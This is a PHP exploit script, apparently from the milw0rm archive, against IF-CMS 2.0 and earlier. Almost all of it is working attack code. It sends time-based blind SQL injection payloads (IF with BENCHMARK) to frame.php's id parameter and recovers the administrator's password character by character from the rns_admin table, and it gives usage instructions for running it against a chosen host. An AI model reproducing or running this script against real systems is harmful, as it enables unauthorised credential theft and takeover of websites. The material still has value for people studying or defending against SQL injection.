--+++=======================================================+++--
--+++====== IF-CMS <= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--
<?php
function query ($username, $char, $pos)
{
//Increase benchmark when exploit prints uncorrect passwords
$query = "x' OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE ".
"nick = '{$username}'),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR '1' = '2";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%27", $query);
return $query;
}
function exploit ($hostname, $path, $username, $char, $pos)
{
$char = ord ($char);
$fp = fsockopen ($hostname, 80);
$get = "GET {$path}/frame.php?id=". query ($username, $char, $pos) . " HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";
$a = time ();
fputs ($fp, $get);
while (!feof ($fp))
fgets ($fp, 1024);
fclose ($fp);
$a = time () - $a;
if ($a > 4)
return true;
else
return false;
}
function usage ()
{
echo "\nIF-CMS <= 2.0 Blind SQL Injection Exploit".
"\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&big_mirror=0".
"\n[+] Usage : php xpl.php <hostname> <path> <username>".
"\n[+] Ex. : php xpl.php localhost /IF-CMS root".
"\n\n";
exit ();
}
if ($argc != 4)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
if (exploit ($hostname, $path, $user, $key [$chr], $pos))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\n\n";
?>
# milw0rm.com [2009-02-09]